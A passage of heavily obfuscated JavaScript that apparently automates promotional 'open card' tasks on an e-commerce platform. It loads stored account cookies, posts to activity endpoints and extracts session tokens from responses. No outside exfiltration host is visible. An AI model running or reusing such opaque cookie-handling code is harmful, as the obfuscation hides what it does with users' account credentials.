_0x14ce6f==_0x5543cd;},'GBgHa':_0xb4b4('47'),'UOyTX':_0xb4b4('232'),'TiGRP':_0xb4b4('14f'),'zRods':_0xb4b4('233'),'txjOl':_0xb4b4('234'),'NENgr':_0xb4b4('235'),'tjeHq':_0xb4b4('236'),'uGFgU':_0xb4b4('237'),'rOkSY':function(_0x10143a){return _0x10143a();},'OXXxa':_0xb4b4('4d'),'YvDUC':function(_0x30b6de,_0x5b116a){return _0x30b6de(_0x5b116a);},'GOjIA':function(_0x382bb6,_0xcfbf7c,_0x6f551d){return _0x382bb6(_0xcfbf7c,_0x6f551d);},'ziJiW':_0xb4b4('238')};return new Promise(_0x11e857=>{var _0x3980f9={'zpAWQ':_0x2c09b1[_0xb4b4('239')]};let _0x19d9b8=_0xb4b4('f4')+$[_0xb4b4('31')]+_0xb4b4('f5')+$[_0xb4b4('40')]+_0xb4b4('f6')+_0x2c09b1[_0xb4b4('23a')](encodeURIComponent,$[_0xb4b4('5f')])+_0xb4b4('23b')+_0x2720c9;$[_0xb4b4('f9')](_0x2c09b1[_0xb4b4('23c')](taskPostUrl,_0x2c09b1[_0xb4b4('23d')],_0x19d9b8),async(_0xe9d38d,_0x523424,_0x3d47b4)=>{var _0x4b7475={'GLOXz':function(_0x2909a2){return _0x2c09b1[_0xb4b4('23e')](_0x2909a2);}};if(_0x2c09b1[_0xb4b4('23f')](_0x2c09b1[_0xb4b4('240')],_0x2c09b1[_0xb4b4('241')])){try{if(_0xe9d38d){if(_0x2c09b1[_0xb4b4('242')](_0x2c09b1[_0xb4b4('243')],_0x2c09b1[_0xb4b4('244')])){_0x4b7475[_0xb4b4('245')](_0x11e857);}else{console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0xe9d38d));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}}else{res=$[_0xb4b4('108')](_0x3d47b4);if(_0x2c09b1[_0xb4b4('246')](typeof res,_0x2c09b1[_0xb4b4('247')])){if(_0x2c09b1[_0xb4b4('23f')](_0x2c09b1[_0xb4b4('248')],_0x2c09b1[_0xb4b4('248')])){console[_0xb4b4('7')](_0x3d47b4);}else{if(_0x2c09b1[_0xb4b4('242')](res[_0xb4b4('10a')],!![])&&res[_0xb4b4('10b')]){console[_0xb4b4('7')](_0xb4b4('249')+(res[_0xb4b4('10b')][_0xb4b4('24a')]&&res[_0xb4b4('10b')][_0xb4b4('22')]||_0x2c09b1[_0xb4b4('24b')]));}else if(_0x2c09b1[_0xb4b4('246')](typeof res,_0x2c09b1[_0xb4b4('247')])&&res[_0xb4b4('11e')]){if(_0x2c09b1[_0xb4b4('23f')](_0x2c09b1[_0xb4b4('24c')],_0x2c09b1[_0xb4b4('24d')])){console[_0xb4b4('7')](_0xb4b4('24e')+(res[_0xb4b4('11e')]||''));}else{$[_0xb4b4('44')](e,_0x523424);}}else{if(_0x2c09b1[_0xb4b4('23f')](_0x2c09b1[_0xb4b4('24f')],_0x2c09b1[_0xb4b4('24f')])){console[_0xb4b4('7')](_0x3980f9[_0xb4b4('250')]);return;}else{console[_0xb4b4('7')](_0x3d47b4);}}}}else{console[_0xb4b4('7')](_0x3d47b4);}}}catch(_0x2695ba){if(_0x2c09b1[_0xb4b4('23f')](_0x2c09b1[_0xb4b4('251')],_0x2c09b1[_0xb4b4('252')])){$[_0xb4b4('44')](_0x2695ba,_0x523424);}else{return JSON[_0xb4b4('145')](str);}}finally{_0x2c09b1[_0xb4b4('253')](_0x11e857);}}else{$[_0xb4b4('44')](e,_0x523424);}});});}function checkOpenCard(){var _0x1f705d={'IKLra':function(_0x33aa88,_0x230eee){return _0x33aa88>_0x230eee;},'zaJhc':_0xb4b4('48'),'DCmDG':function(_0x4a1bdf,_0x41c91d){return _0x4a1bdf+_0x41c91d;},'RCJJc':function(_0x49fda9,_0x4f8213){return _0x49fda9>_0x4f8213;},'ZLkvz':_0xb4b4('49'),'TKjgG':function(_0x4b1119,_0x107c2e){return _0x4b1119+_0x107c2e;},'gfkaX':function(_0x3af5e9,_0x5ee1ef){return _0x3af5e9===_0x5ee1ef;},'zQYgK':_0xb4b4('254'),'dvwTM':function(_0x28fade,_0xb7c624){return _0x28fade!==_0xb7c624;},'wlhts':_0xb4b4('47'),'avCzo':function(_0x31f70b,_0x19a2a3){return _0x31f70b!==_0x19a2a3;},'UDhNT':_0xb4b4('255'),'JOtls':_0xb4b4('256'),'yoZgt':function(_0x36ba7c,_0x7ea789){return _0x36ba7c(_0x7ea789);},'BQcdJ':function(_0x3aae42,_0x365595,_0x34c05c){return _0x3aae42(_0x365595,_0x34c05c);},'SZWFM':_0xb4b4('257')};return new Promise(_0xa311a7=>{var _0x529253={'WyIuN':function(_0xdc17bf,_0x5e43ea){return _0x1f705d[_0xb4b4('258')](_0xdc17bf,_0x5e43ea);},'hNvlf':_0x1f705d[_0xb4b4('259')],'Bitnc':function(_0x5e6383,_0x3188c9){return _0x1f705d[_0xb4b4('25a')](_0x5e6383,_0x3188c9);},'AXUcV':function(_0x316863,_0x3af13e){return _0x1f705d[_0xb4b4('25b')](_0x316863,_0x3af13e);},'HpljU':_0x1f705d[_0xb4b4('25c')],'RhHky':function(_0x194738,_0x4f1484){return _0x1f705d[_0xb4b4('25d')](_0x194738,_0x4f1484);},'PgKiv':function(_0xe36ba6,_0x56605c){return _0x1f705d[_0xb4b4('25e')](_0xe36ba6,_0x56605c);},'vaaOt':_0x1f705d[_0xb4b4('25f')],'Esrdg':function(_0x11fccf,_0x3c7e16){return _0x1f705d[_0xb4b4('260')](_0x11fccf,_0x3c7e16);},'xaRuN':_0x1f705d[_0xb4b4('261')],'hywSp':function(_0x1b6bf0,_0x14a93b){return _0x1f705d[_0xb4b4('262')](_0x1b6bf0,_0x14a93b);},'uKdtF':_0x1f705d[_0xb4b4('263')],'lxTED':_0x1f705d[_0xb4b4('264')],'OBzOM':function(_0x33b4b9,_0xa330c1){return _0x1f705d[_0xb4b4('265')](_0x33b4b9,_0xa330c1);}};let _0x4653d6=_0xb4b4('f4')+$[_0xb4b4('31')]+_0xb4b4('f6')+_0x1f705d[_0xb4b4('265')](encodeURIComponent,$[_0xb4b4('5f')])+_0xb4b4('f5')+$[_0xb4b4('40')]+_0xb4b4('34')+$[_0xb4b4('2f')];$[_0xb4b4('f9')](_0x1f705d[_0xb4b4('266')](taskPostUrl,_0x1f705d[_0xb4b4('267')],_0x4653d6),async(_0x413f9a,_0x1c2844,_0x535526)=>{try{if(_0x413f9a){if(_0x529253[_0xb4b4('268')](_0x529253[_0xb4b4('269')],_0x529253[_0xb4b4('269')])){console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x413f9a));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{$[_0xb4b4('44')](e,_0x1c2844);}}else{res=$[_0xb4b4('108')](_0x535526);if(_0x529253[_0xb4b4('26a')](typeof res,_0x529253[_0xb4b4('26b')])){if(_0x529253[_0xb4b4('26c')](_0x529253[_0xb4b4('26d')],_0x529253[_0xb4b4('26e')])){console[_0xb4b4('7')](_0x535526);}else{if(_0x529253[_0xb4b4('26f')](name[_0xb4b4('6e')](_0x529253[_0xb4b4('270')]),-0x1))LZ_TOKEN_KEY=_0x529253[_0xb4b4('271')](name[_0xb4b4('71')](/ /g,''),';');if(_0x529253[_0xb4b4('272')](name[_0xb4b4('6e')](_0x529253[_0xb4b4('273')]),-0x1))LZ_TOKEN_VALUE=_0x529253[_0xb4b4('274')](name[_0xb4b4('71')](/ /g,''),';');}}}}catch(_0x5ec1c8){$[_0xb4b4('44')](_0x5ec1c8,_0x1c2844);}finally{_0x529253[_0xb4b4('275')](_0xa311a7,res&&res[_0xb4b4('10b')]||'');}});});}function drawContent(){var _0x2316df={'RgfOR':function(_0x4c7ec2,_0xbf8b9f){return _0x4c7ec2===_0xbf8b9f;},'lGehP':_0xb4b4('276'),'qJHnU':_0xb4b4('277'),'BwNDS':function(_0x47d453){return _0x47d453();},'fBFOV':function(_0x2e3449,_0x393dcf){return _0x2e3449!==_0x393dcf;},'DzTCi':_0xb4b4('278'),'jVybo':_0xb4b4('279'),'KCtaO':function(_0x28bba6,_0x2faf5c){return _0x28bba6(_0x2faf5c);},'zjSZI':function(_0x2a559c,_0xa23084,_0x1d8cfe){return _0x2a559c(_0xa23084,_0x1d8cfe);},'ZFxLD':_0xb4b4('27a')};return new Promise(_0x2707b5=>{var _0x29fae1={'wUEAB':function(_0xf7a11d,_0x413fe1){return _0x2316df[_0xb4b4('27b')](_0xf7a11d,_0x413fe1);},'qXZCw':_0x2316df[_0xb4b4('27c')],'PzFVA':_0x2316df[_0xb4b4('27d')],'JycGc':function(_0x4cb02c){return _0x2316df[_0xb4b4('27e')](_0x4cb02c);}};if(_0x2316df[_0xb4b4('27f')](_0x2316df[_0xb4b4('280')],_0x2316df[_0xb4b4('281')])){let _0x5a299e=_0xb4b4('f4')+$[_0xb4b4('31')]+_0xb4b4('f6')+_0x2316df[_0xb4b4('282')](encodeURIComponent,$[_0xb4b4('5f')]);$[_0xb4b4('f9')](_0x2316df[_0xb4b4('283')](taskPostUrl,_0x2316df[_0xb4b4('284')],_0x5a299e),async(_0x39897c,_0x1f6ebf,_0x481105)=>{try{if(_0x39897c){if(_0x29fae1[_0xb4b4('285')](_0x29fae1[_0xb4b4('286')],_0x29fae1[_0xb4b4('287')])){console[_0xb4b4('7')](''+(res[_0xb4b4('20a')]||''));}else{console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x39897c));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}}else{}}catch(_0x172fd4){$[_0xb4b4('44')](_0x172fd4,_0x1f6ebf);}finally{_0x29fae1[_0xb4b4('288')](_0x2707b5);}});}else{console[_0xb4b4('7')](data);}});}function getActorUuid(){var _0x1e6323={'wqtwB':_0xb4b4('4d'),'gQSwG':function(_0x281616,_0x3bf5ba){return _0x281616===_0x3bf5ba;},'xTlZQ':_0xb4b4('6'),'KicYM':function(_0x566d19,_0x30dfcb){return _0x566d19!==_0x30dfcb;},'SeczZ':_0xb4b4('289'),'qOwSn':_0xb4b4('28a'),'TXpwF':function(_0x37a3f0,_0x43d117){return _0x37a3f0==_0x43d117;},'CHDkM':function(_0x37b9ba,_0x1807a7){return _0x37b9ba==_0x1807a7;},'nZbuk':_0xb4b4('47'),'nFvqz':function(_0x1ed2e8,_0x3fe558){return _0x1ed2e8!==_0x3fe558;},'xCtNC':_0xb4b4('28b'),'ZZCFV':function(_0x42add2,_0x228d22){return _0x42add2!=_0x228d22;},'tBiAm':_0xb4b4('4f'),'bsddd':function(_0x260132,_0x254f59){return _0x260132!=_0x254f59;},'hGndu':function(_0x405b23,_0x43ea51){return _0x405b23===_0x43ea51;},'cXfTX':_0xb4b4('28c'),'PSzzM':_0xb4b4('28d'),'DDNPc':_0xb4b4('28e'),'QRnOp':_0xb4b4('28f'),'OnQcC':_0xb4b4('290'),'fRBYr':function(_0x469a47){return _0x469a47();},'DCqGX':_0xb4b4('14f'),'jWEcG':function(_0x156773,_0x23b9b2){return _0x156773(_0x23b9b2);},'oPMGI':function(_0x19c508,_0x514245){return _0x19c508(_0x514245);},'maSiS':function(_0x1fc760,_0x2e0667,_0x2b93e2){return _0x1fc760(_0x2e0667,_0x2b93e2);},'wwIGk':_0xb4b4('291')};return new Promise(_0x50e5c2=>{var _0x44d3ce={'lTGok':_0x1e6323[_0xb4b4('292')]};let _0x3ced8a=_0xb4b4('f4')+$[_0xb4b4('31')]+_0xb4b4('f6')+_0x1e6323[_0xb4b4('293')](encodeURIComponent,$[_0xb4b4('5f')])+_0xb4b4('294')+_0x1e6323[_0xb4b4('295')](encodeURIComponent,$[_0xb4b4('7c')])+_0xb4b4('296')+_0x1e6323[_0xb4b4('295')](encodeURIComponent,$[_0xb4b4('74')])+_0xb4b4('297')+$[_0xb4b4('2f')];$[_0xb4b4('f9')](_0x1e6323[_0xb4b4('298')](taskPostUrl,_0x1e6323[_0xb4b4('299')],_0x3ced8a),async(_0x5a425,_0x1e7a5d,_0x55ceb0)=>{var _0x1f26c1={'HxOuL':_0x1e6323[_0xb4b4('29a')],'Werda':function(_0x30694a,_0x5f03d7){return _0x1e6323[_0xb4b4('29b')](_0x30694a,_0x5f03d7);},'SJHzH':_0x1e6323[_0xb4b4('29c')]};try{if(_0x1e6323[_0xb4b4('29d')](_0x1e6323[_0xb4b4('29e')],_0x1e6323[_0xb4b4('29f')])){if(_0x5a425){if(_0x1e7a5d[_0xb4b4('100')]&&_0x1e6323[_0xb4b4('2a0')](_0x1e7a5d[_0xb4b4('100')],0x1ed)){console[_0xb4b4('7')](_0x1e6323[_0xb4b4('29a')]);$[_0xb4b4('13')]=!![];}console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x5a425));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{res=$[_0xb4b4('108')](_0x55ceb0);if(_0x1e6323[_0xb4b4('2a1')](typeof res,_0x1e6323[_0xb4b4('2a2')])&&res[_0xb4b4('10a')]&&_0x1e6323[_0xb4b4('29b')](res[_0xb4b4('10a')],!![])){if(_0x1e6323[_0xb4b4('2a3')](_0x1e6323[_0xb4b4('2a4')],_0x1e6323[_0xb4b4('2a4')])){console[_0xb4b4('7')](_0x1f26c1[_0xb4b4('2a5')]);$[_0xb4b4('13')]=!![];}else{if(_0x1e6323[_0xb4b4('2a6')](typeof res[_0xb4b4('10b')][_0xb4b4('9e')][_0xb4b4('2a7')],_0x1e6323[_0xb4b4('2a8')]))$[_0xb4b4('9e')]=res[_0xb4b4('10b')][_0xb4b4('9e')][_0xb4b4('2a7')];if(_0x1e6323[_0xb4b4('2a6')](typeof res[_0xb4b4('10b')][_0xb4b4('a2')][_0xb4b4('2a7')],_0x1e6323[_0xb4b4('2a8')]))$[_0xb4b4('a2')]=res[_0xb4b4('10b')][_0xb4b4('a2')][_0xb4b4('2a7')];if(_0x1e6323[_0xb4b4('2a9')](typeof res[_0xb4b4('10b')][_0xb4b4('40')],_0x1e6323[_0xb4b4('2a8')]))$[_0xb4b4('40')]=res[_0xb4b4('10b')][_0xb4b4('40')];}}else if(_0x1e6323[_0xb4b4('2a1')](typeof res,_0x1e6323[_0xb4b4('2a2')])&&res[_0xb4b4('11e')]){if(_0x1e6323[_0xb4b4('2aa')](_0x1e6323[_0xb4b4('2ab')],_0x1e6323[_0xb4b4('2ac')])){console[_0xb4b4('7')](_0xb4b4('249')+(res[_0xb4b4('10b')][_0xb4b4('24a')]&&res[_0xb4b4('10b')][_0xb4b4('22')]||_0x44d3ce[_0xb4b4('2ad')]));}else{console[_0xb4b4('7')](_0xb4b4('167')+(res[_0xb4b4('11e')]||''));}}else{console[_0xb4b4('7')](_0x55ceb0);}}}else{$[_0xb4b4('44')](e,_0x1e7a5d);}}catch(_0x4c4184){if(_0x1e6323[_0xb4b4('2aa')](_0x1e6323[_0xb4b4('2ae')],_0x1e6323[_0xb4b4('2af')])){Object[_0xb4b4('1')](jdCookieNode)[_0xb4b4('2')](_0x2cd16d=>{cookiesArr[_0xb4b4('3')](jdCookieNode[_0x2cd16d]);});if(process[_0xb4b4('4')][_0xb4b4('5')]&&_0x1f26c1[_0xb4b4('2b0')](process[_0xb4b4('4')][_0xb4b4('5')],_0x1f26c1[_0xb4b4('2b1')]))console[_0xb4b4('7')]=()=>{};}else{$[_0xb4b4('44')](_0x4c4184,_0x1e7a5d);}}finally{if(_0x1e6323[_0xb4b4('2aa')](_0x1e6323[_0xb4b4('2b2')],_0x1e6323[_0xb4b4('2b2')])){_0x1e6323[_0xb4b4('2b3')](_0x50e5c2);}else{$[_0xb4b4('44')](e,_0x1e7a5d);}}});});}function getUserInfo(){var _0x1f7b55={'rZUgF':function(_0x139ef4,_0x526cde){return _0x139ef4===_0x526cde;},'mjIaR':_0xb4b4('2b4'),'fVpom':_0xb4b4('2b5'),'IoLPT':function(_0x111b36,_0x43f2c0){return _0x111b36===_0x43f2c0;},'UfoNm':_0xb4b4('2b6'),'CeUhm':_0xb4b4('2b7'),'tdBGS':function(_0xf4285b,_0x3b531e){return _0xf4285b==_0x3b531e;},'RuFgP':_0xb4b4('47'),'eSqGK':function(_0xd005ab,_0x1e1b63){return _0xd005ab!==_0x1e1b63;},'jneWp':_0xb4b4('2b8'),'EzQwT':_0xb4b4('2b9'),'dfoQD':function(_0x4eb867,_0xe9b8){return _0x4eb867!=_0xe9b8;},'PmuPU':_0xb4b4('4f'),'AQdji':_0xb4b4('51'),'Ifego':function(_0x45f066,_0x29e966){return _0x45f066==_0x29e966;},'MjQwn':_0xb4b4('2ba'),'GYbtH':function(_0x68971){return _0x68971();},'UmxpN':_0xb4b4('14f'),'Blgyx':function(_0x1b68b2,_0x41ad58){return _0x1b68b2==_0x41ad58;},'aqJQS':function(_0x248628,_0x3a279d){return _0x248628(_0x3a279d);},'VcMEZ':function(_0x20a985,_0x561cd8,_0x322db5){return _0x20a985(_0x561cd8,_0x322db5);},'WXCNu':_0xb4b4('2bb')};return new Promise(_0xfb7daf=>{var _0xb42604={'ZLODn':function(_0x2075f4,_0x2300bd){return _0x1f7b55[_0xb4b4('2bc')](_0x2075f4,_0x2300bd);},'PLcbV':_0x1f7b55[_0xb4b4('2bd')],'Aknbu':function(_0x58aca9,_0x357f7d){return _0x1f7b55[_0xb4b4('2be')](_0x58aca9,_0x357f7d);},'CYXiq':_0x1f7b55[_0xb4b4('2bf')]};let _0xf3d3b7=_0xb4b4('2c0')+_0x1f7b55[_0xb4b4('2c1')](encodeURIComponent,$[_0xb4b4('5f')]);$[_0xb4b4('f9')](_0x1f7b55[_0xb4b4('2c2')](taskPostUrl,_0x1f7b55[_0xb4b4('2c3')],_0xf3d3b7),async(_0x598b6f,_0x4781c9,_0x3f84de)=>{if(_0x1f7b55[_0xb4b4('2c4')](_0x1f7b55[_0xb4b4('2c5')],_0x1f7b55[_0xb4b4('2c6')])){if(_0xb42604[_0xb4b4('2c7')](res[_0xb4b4('10a')],!![])&&res[_0xb4b4('10b')]){console[_0xb4b4('7')](_0xb4b4('249')+(res[_0xb4b4('10b')][_0xb4b4('24a')]&&res[_0xb4b4('10b')][_0xb4b4('22')]||_0xb42604[_0xb4b4('2c8')]));}else if(_0xb42604[_0xb4b4('2c9')](typeof res,_0xb42604[_0xb4b4('2ca')])&&res[_0xb4b4('11e')]){console[_0xb4b4('7')](_0xb4b4('24e')+(res[_0xb4b4('11e')]||''));}else{console[_0xb4b4('7')](_0x3f84de);}}else{try{if(_0x598b6f){console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x598b6f));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('2cb'));}else{if(_0x1f7b55[_0xb4b4('2bc')](_0x1f7b55[_0xb4b4('2cc')],_0x1f7b55[_0xb4b4('2cd')])){console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x598b6f));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{res=$[_0xb4b4('108')](_0x3f84de);if(_0x1f7b55[_0xb4b4('2ce')](typeof res,_0x1f7b55[_0xb4b4('2bf')])&&res[_0xb4b4('10a')]&&_0x1f7b55[_0xb4b4('2bc')](res[_0xb4b4('10a')],!![])){if(_0x1f7b55[_0xb4b4('2cf')](_0x1f7b55[_0xb4b4('2d0')],_0x1f7b55[_0xb4b4('2d1')])){if(res[_0xb4b4('10b')]&&_0x1f7b55[_0xb4b4('2d2')](typeof res[_0xb4b4('10b')][_0xb4b4('2d3')],_0x1f7b55[_0xb4b4('2d4')]))$[_0xb4b4('7c')]=res[_0xb4b4('10b')][_0xb4b4('2d3')]||_0x1f7b55[_0xb4b4('2d5')];}else{console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x598b6f));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}}else if(_0x1f7b55[_0xb4b4('2d6')](typeof res,_0x1f7b55[_0xb4b4('2bf')])&&res[_0xb4b4('11e')]){if(_0x1f7b55[_0xb4b4('2cf')](_0x1f7b55[_0xb4b4('2d7')],_0x1f7b55[_0xb4b4('2d7')])){console[_0xb4b4('7')](_0x3f84de);}else{console[_0xb4b4('7')](_0xb4b4('2d8')+(res[_0xb4b4('11e')]||''));}}else{console[_0xb4b4('7')](_0x3f84de);}}}}catch(_0x4157f3){$[_0xb4b4('44')](_0x4157f3,_0x4781c9);}finally{_0x1f7b55[_0xb4b4('2d9')](_0xfb7daf);}}});});}function accessLogWithAD(){var _0x2c0a77={'ntuFn':_0xb4b4('2da'),'WpVrW':_0xb4b4('2db'),'BKCRO':_0xb4b4('2dc'),'vuGCn':function(_0x43c9d0,_0x5b881a){return _0x43c9d0!=_0x5b881a;},'IAyxt':_0xb4b4('47'),'DZoem':function(_0x1e434f,_0x12496e){return _0x1e434f>_0x12496e;},'zATyg':_0xb4b4('48'),'dqmTi':function(_0x80d0de,_0xa22b7b){return _0x80d0de+_0xa22b7b;},'pULEL':function(_0x5bbba7,_0x3a8ea7){return _0x5bbba7>_0x3a8ea7;},'yHzPp':_0xb4b4('49'),'jIBpE':function(_0x127ffa,_0x3b6d8c){return _0x127ffa&&_0x3b6d8c;},'EjWGV':function(_0x5ef3d3,_0x5102db){return _0x5ef3d3===_0x5102db;},'PDFfH':_0xb4b4('2dd'),'hnMqy':_0xb4b4('2de'),'JxDSr':function(_0x4301c0){return _0x4301c0();},'qgHSV':function(_0x5cdd8e,_0x2f16d4){return _0x5cdd8e(_0x2f16d4);},'hnrsp':function(_0xf28faa,_0x35282e){return _0xf28faa(_0x35282e);},'DYZTi':function(_0x453394,_0x52e4cc,_0x44e855){return _0x453394(_0x52e4cc,_0x44e855);},'vKfId':_0xb4b4('2df')};return new Promise(_0x19c43b=>{var _0x28bddc={'WtAnL':_0x2c0a77[_0xb4b4('2e0')],'kJNIB':_0x2c0a77[_0xb4b4('2e1')],'zJZtP':_0x2c0a77[_0xb4b4('2e2')],'QLcPi':function(_0x40a041,_0x35279f){return _0x2c0a77[_0xb4b4('2e3')](_0x40a041,_0x35279f);},'UOgIn':_0x2c0a77[_0xb4b4('2e4')],'XCpzj':function(_0x26f8b2,_0x49b523){return _0x2c0a77[_0xb4b4('2e5')](_0x26f8b2,_0x49b523);},'adWDP':_0x2c0a77[_0xb4b4('2e6')],'oqlOv':function(_0xdd11cb,_0x53ccec){return _0x2c0a77[_0xb4b4('2e7')](_0xdd11cb,_0x53ccec);},'nNCQz':function(_0x17ba02,_0x23f842){return _0x2c0a77[_0xb4b4('2e8')](_0x17ba02,_0x23f842);},'JarGU':_0x2c0a77[_0xb4b4('2e9')],'zPqEa':function(_0xee7f9f,_0x5b98d1){return _0x2c0a77[_0xb4b4('2ea')](_0xee7f9f,_0x5b98d1);},'gsqbt':function(_0x317809,_0x4635c3){return _0x2c0a77[_0xb4b4('2eb')](_0x317809,_0x4635c3);},'CVeAT':_0x2c0a77[_0xb4b4('2ec')],'GsPgC':_0x2c0a77[_0xb4b4('2ed')],'KFmah':function(_0x401474){return _0x2c0a77[_0xb4b4('2ee')](_0x401474);}};let _0x3837e7=_0xb4b4('2ef')+$[_0xb4b4('31')]+_0xb4b4('34')+$[_0xb4b4('2f')];let _0x2be7b2=_0xb4b4('2f0')+($[_0xb4b4('76')]||$[_0xb4b4('79')])+_0xb4b4('2f1')+_0x2c0a77[_0xb4b4('2f2')](encodeURIComponent,$[_0xb4b4('5f')])+_0xb4b4('2f3')+$[_0xb4b4('31')]+_0xb4b4('2f4')+_0x2c0a77[_0xb4b4('2f5')](encodeURIComponent,_0x3837e7)+_0xb4b4('2f6');$[_0xb4b4('f9')](_0x2c0a77[_0xb4b4('2f7')](taskPostUrl,_0x2c0a77[_0xb4b4('2f8')],_0x2be7b2),async(_0x16c415,_0x7e29ec,_0x599538)=>{try{if(_0x16c415){console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x16c415));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{let _0x463430='';let _0x2df720='';let _0x529a2e=_0x7e29ec[_0x28bddc[_0xb4b4('2f9')]][_0x28bddc[_0xb4b4('2fa')]]||_0x7e29ec[_0x28bddc[_0xb4b4('2f9')]][_0x28bddc[_0xb4b4('2fb')]]||'';let _0x330dc0='';if(_0x529a2e){if(_0x28bddc[_0xb4b4('2fc')](typeof _0x529a2e,_0x28bddc[_0xb4b4('2fd')])){_0x330dc0=_0x529a2e[_0xb4b4('6b')](',');}else _0x330dc0=_0x529a2e;for(let _0x53a2bd of _0x330dc0){let _0x9ec37b=_0x53a2bd[_0xb4b4('6b')](';')[0x0][_0xb4b4('6c')]();if(_0x9ec37b[_0xb4b4('6b')]('=')[0x1]){if(_0x28bddc[_0xb4b4('2fe')](_0x9ec37b[_0xb4b4('6e')](_0x28bddc[_0xb4b4('2ff')]),-0x1))_0x463430=_0x28bddc[_0xb4b4('300')](_0x9ec37b[_0xb4b4('71')](/ /g,''),';');if(_0x28bddc[_0xb4b4('301')](_0x9ec37b[_0xb4b4('6e')](_0x28bddc[_0xb4b4('302')]),-0x1))_0x2df720=_0x28bddc[_0xb4b4('300')](_0x9ec37b[_0xb4b4('71')](/ /g,''),';');}}}if(_0x28bddc[_0xb4b4('303')](_0x463430,_0x2df720))activityCookie=_0x463430+'\x20'+_0x2df720;}}catch(_0x5b3907){if(_0x28bddc[_0xb4b4('304')](_0x28bddc[_0xb4b4('305')],_0x28bddc[_0xb4b4('306')])){console[_0xb4b4('7')](_0x599538);}else{$[_0xb4b4('44')](_0x5b3907,_0x7e29ec);}}finally{_0x28bddc[_0xb4b4('307')](_0x19c43b);}});});}function getMyPing(){var _0x785ca3={'wEtDX':function(_0x3e1e2a,_0x5355ac){return _0x3e1e2a||_0x5355ac;},'tUron':_0xb4b4('14f'),'AQLxc':function(_0x330fb1){return _0x330fb1();},'nlRtU':_0xb4b4('16'),'WBayj':_0xb4b4('17'),'RqYZx':function(_0x4fcf71,_0x4369e1){return _0x4fcf71===_0x4369e1;},'NKVFR':_0xb4b4('308'),'UtWnC':function(_0x146065,_0x125956){return _0x146065===_0x125956;},'gtnWP':_0xb4b4('309'),'JjNlR':_0xb4b4('30a'),'ZMwLx':function(_0x55b35e,_0x13d35b){return _0x55b35e==_0x13d35b;},'RPGOB':function(_0x34140e,_0x34c0f9){return _0x34140e===_0x34c0f9;},'IFqeu':_0xb4b4('30b'),'VxLVv':_0xb4b4('30c'),'ZClRX':_0xb4b4('4d'),'YYTns':_0xb4b4('30d'),'Xeuyj':_0xb4b4('2da'),'oqOSv':_0xb4b4('2db'),'zOVef':_0xb4b4('2dc'),'ZJUUq':function(_0x22f40b,_0x36ce7f){return _0x22f40b!=_0x36ce7f;},'YAKpz':_0xb4b4('47'),'olIAN':function(_0x1a7c6b,_0x4c75cc){return _0x1a7c6b>_0x4c75cc;},'iBOBN':_0xb4b4('1be'),'OYLCm':function(_0x55dc6b,_0x5b72a8){return _0x55dc6b+_0x5b72a8;},'KxbDi':_0xb4b4('48'),'VaWma':function(_0x3aec41,_0x221c72){return _0x3aec41+_0x221c72;},'syYyf':_0xb4b4('49'),'DMiaL':function(_0x4f32c1,_0x193a4c){return _0x4f32c1+_0x193a4c;},'iLpil':function(_0x364897,_0x5318d3){return _0x364897&&_0x5318d3;},'gdEqg':_0xb4b4('4f'),'urSpA':function(_0x1452a4,_0x584139){return _0x1452a4==_0x584139;},'vVfBT':_0xb4b4('30e'),'GwvDe':_0xb4b4('30f'),'fyjNI':function(_0x156d06,_0x1d9e03){return _0x156d06===_0x1d9e03;},'ieOwt':_0xb4b4('310'),'nfoxN':_0xb4b4('311'),'BnHjg':function(_0x220f6a,_0x2f3b42,_0x680617){return _0x220f6a(_0x2f3b42,_0x680617);},'hLqJh':_0xb4b4('312')};return new Promise(_0x35f3c5=>{var _0xe35176={'cyskd':function(_0x4ec4ad){return _0x785ca3[_0xb4b4('313')](_0x4ec4ad);},'CEVKg':_0x785ca3[_0xb4b4('314')],'FZZpC':_0x785ca3[_0xb4b4('315')],'gwwxx':function(_0xc5dd4f,_0x273dd2){return _0x785ca3[_0xb4b4('316')](_0xc5dd4f,_0x273dd2);},'IFdwT':_0x785ca3[_0xb4b4('317')],'ZprVK':function(_0x16abee,_0xfea475){return _0x785ca3[_0xb4b4('318')](_0x16abee,_0xfea475);},'pHOjU':_0x785ca3[_0xb4b4('319')],'xMamT':_0x785ca3[_0xb4b4('31a')],'VXcAP':function(_0x418711,_0x286374){return _0x785ca3[_0xb4b4('31b')](_0x418711,_0x286374);},'UswUe':function(_0x4fd882,_0x51eb2f){return _0x785ca3[_0xb4b4('31c')](_0x4fd882,_0x51eb2f);},'MwAhf':_0x785ca3[_0xb4b4('31d')],'CpuQC':_0x785ca3[_0xb4b4('31e')],'EWBPe':_0x785ca3[_0xb4b4('31f')],'EngQq':_0x785ca3[_0xb4b4('320')],'bvGfg':_0x785ca3[_0xb4b4('321')],'lacoO':_0x785ca3[_0xb4b4('322')],'shxtP':_0x785ca3[_0xb4b4('323')],'EKetb':function(_0x133451,_0x828c65){return _0x785ca3[_0xb4b4('324')](_0x133451,_0x828c65);},'qBbLj':_0x785ca3[_0xb4b4('325')],'YFMfi':function(_0x203c42,_0x508bf4){return _0x785ca3[_0xb4b4('326')](_0x203c42,_0x508bf4);},'fAHcY':_0x785ca3[_0xb4b4('327')],'PKKws':function(_0x57128b,_0x57620a){return _0x785ca3[_0xb4b4('328')](_0x57128b,_0x57620a);},'aHyaC':function(_0x39350c,_0x329c67){return _0x785ca3[_0xb4b4('326')](_0x39350c,_0x329c67);},'UxpoE':_0x785ca3[_0xb4b4('329')],'LyoFX':function(_0xb39076,_0xd84e){return 